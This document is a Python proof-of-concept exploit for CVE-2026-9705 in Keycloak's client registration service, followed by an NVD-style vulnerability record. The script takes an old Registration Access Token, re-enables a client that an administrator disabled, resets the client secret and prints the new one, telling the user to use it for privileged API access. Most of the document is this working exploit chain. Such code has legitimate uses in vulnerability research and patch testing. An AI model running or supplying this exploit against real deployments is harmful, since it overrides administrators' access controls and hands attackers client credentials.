CVE-2026-9705

# CVE-2026-9705 - Keycloak Client Registration Service Bypass PoC # Exploits the vulnerability where a previously issued Registration Access Token (RAT) # can be used to re-enable a client that an administrator has explicitly disabled. import requests import json # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "target-client-id" REGISTRATION_ACCESS_TOKEN = "previously-issued-RAT-token" # RAT obtained before client was disabled # Step 1: Verify the client is currently disabled def check_client_status(): url = f"{KEYCLOAK_URL}/realms/{REALM}/clients-registrations/default/{CLIENT_ID}" headers = { "Authorization": f"Bearer {REGISTRATION_ACCESS_TOKEN}", "Content-Type": "application/json" } response = requests.get(url, headers=headers) if response.status_code == 200: client_info = response.json() print(f"Current client status - enabled: {client_info.get('enabled', 'unknown')}") return client_info else: print(f"Failed to retrieve client info: {response.status_code}") return None # Step 2: Re-enable the disabled client by updating its registration def re_enable_client(): url = f"{KEYCLOAK_URL}/realms/{REALM}/clients-registrations/default/{CLIENT_ID}" headers = { "Authorization": f"Bearer {REGISTRATION_ACCESS_TOKEN}", "Content-Type": "application/json" } # Update payload to re-enable the client payload = { "enabled": True } response = requests.put(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: updated_client = response.json() print(f"Client successfully re-enabled: {updated_client}") return updated_client else: print(f"Failed to re-enable client: {response.status_code} - {response.text}") return None # Step 3: Reset the client secret to regain privileged API access def reset_client_secret(client_info): url = f"{KEYCLOAK_URL}/realms/{REALM}/clients-registrations/default/{CLIENT_ID}/client-secret" headers = { "Authorization": f"Bearer {REGISTRATION_ACCESS_TOKEN}", "Content-Type": "application/json" } response = requests.post(url, headers=headers) if response.status_code == 200: secret_info = response.json() print(f"New client secret obtained: {secret_info.get('value')}") return secret_info else: print(f"Failed to reset client secret: {response.status_code}") return None # Main exploit chain if __name__ == "__main__": print("[*] CVE-2026-9705 Exploit - Keycloak Client Registration Bypass") print("[*] Step 1: Checking client status...") client_info = check_client_status() if client_info: print("[*] Step 2: Re-enabling disabled client...") updated_client = re_enable_client() if updated_client: print("[*] Step 3: Resetting client secret...") new_secret = reset_client_secret(updated_client) if new_secret: print("[+] Exploit successful! Use the new client secret for privileged API access.") else: print("[-] Secret reset failed.") else: print("[-] Client re-enable failed.") else: print("[-] Could not retrieve client information.")

{"cve": {"id": "CVE-2026-9705", "sourceIdentifier": "[email protected]", "published": "2026-06-25T17:17:03.590", "lastModified": "2026-06-25T19:10:00.050", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak's client registration service. A remote attacker, possessing a previously issued Registration Access Token (RAT), could exploit this vulnerability to re-enable a client that an administrator had explicitly disabled. This bypasses security controls, allowing the attacker to reset the client's secret and potentially regain privileged API access. The primary impact includes unauthorized information disclosure and potential integrity compromise."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Red Hat", "product": "Red Hat Build of Keycloak", "defaultStatus": "affected", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "rhbk/keycloak-rhel9", "cpes": ["cpe:/a:redhat:build_keycloak:"]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9705", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481878", "source": "[email protected]"}]}}